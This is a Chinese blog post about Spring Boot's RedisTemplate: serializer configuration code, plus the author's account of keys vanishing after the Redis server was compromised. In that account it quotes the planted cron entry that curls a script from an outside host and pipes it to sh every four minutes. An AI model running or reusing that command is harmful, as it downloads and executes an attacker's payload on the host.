SpringBoot中使用RedisTemplate

  • Post author:
  • Post category:其他


最近在项目中使用redis操作缓存,使用的是Spring-Data的RedisTemplate。使用RedisTemplate之后使得操作redis数据库非常简单,RedisTemplat支持Redis的各种数据结构的操作,提供了简单的api,只要调用API方法就可以实现数据的增删改查。但是在使用过程中也遇到了一些问题,这篇文章本来想的是全面的去介绍一下RedisTemplate如何去使用,如何操作各种数据库,但是在网上我看到了写的非常全面的文章,所以直接引用文章

RedisTemplate操作Redis,这一篇文章就够了(一)

。本文主要介绍我在使用RedisTemplate的时候遇到的一些问题。

文章目录


目录


文章目录


前言


二、RedisTemplate使用GenericFastJsonRedisSerializer序列化方式,获取String类型的value时报错


三、Redis中的key莫名丢失


总结





前言

下面是我在使用RedisTemplate在操作Redis的过程中遇到的一些问题以及解决方案。



一、RedisTemplate无法序列化javabean


问题:

RedisTemplate的默认序列化的类为JdkSerializationRedisSerializer,如果使用默认的序列化类,则在取数据的时候则会报错

DefaultSerializer requires a Serializable payload but received an object of type [XXX]


方案:

自定义RedisTemplate的序列化方式

@Configuration
public class RedisConfig {

    @Bean
    public RedisTemplate<Object, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
        RedisTemplate<Object, Object> redisTemplate = new RedisTemplate<>();
        redisTemplate.setConnectionFactory(redisConnectionFactory);
        // 使用 GenericFastJsonRedisSerializer 替换默认序列化
        GenericFastJsonRedisSerializer genericFastJsonRedisSerializer = new GenericFastJsonRedisSerializer();
        // 设置key和value的序列化规则
        redisTemplate.setKeySerializer(new GenericToStringSerializer<>(Object.class));
        redisTemplate.setValueSerializer(genericFastJsonRedisSerializer);
        // 设置hashKey和hashValue的序列化规则
        redisTemplate.setHashKeySerializer(new GenericToStringSerializer<>(Object.class));
        redisTemplate.setHashValueSerializer(genericFastJsonRedisSerializer);
        return redisTemplate;
    }
}



二、RedisTemplate使用GenericFastJsonRedisSerializer序列化方式,获取String类型的value时报错

三、Redis中的key莫名丢失

在使用redis的时候,发现自己设置的key并没有到达过期时间,但是会莫名的丢失

  1. 刚开始认为是服务器内存达到了最大值,执行了淘汰策略,查看服务器内存使用情况


发现服务器内存并没有使用多少

2.  是不是redis.conf配置文件中的内存设置太小导致的

maxmemory设置为0,表示不限制内存的大小,所以也排除这个可能

3. 登录redis客户端,发现所有的key都被删除,并且发现一个值为这个的

*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh

通过百度发现原来被攻击了:

redis未授权访问漏洞分析


解决方案:

通过给redis服务器添加密码访问



总结

使用redis的时候需要配置好序列化方式,并且注意redis的内存以及淘汰策略等,还有从这件事情,我觉得服务器的安全性也是重要的考量点



版权声明:本文为weixin_41998947原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。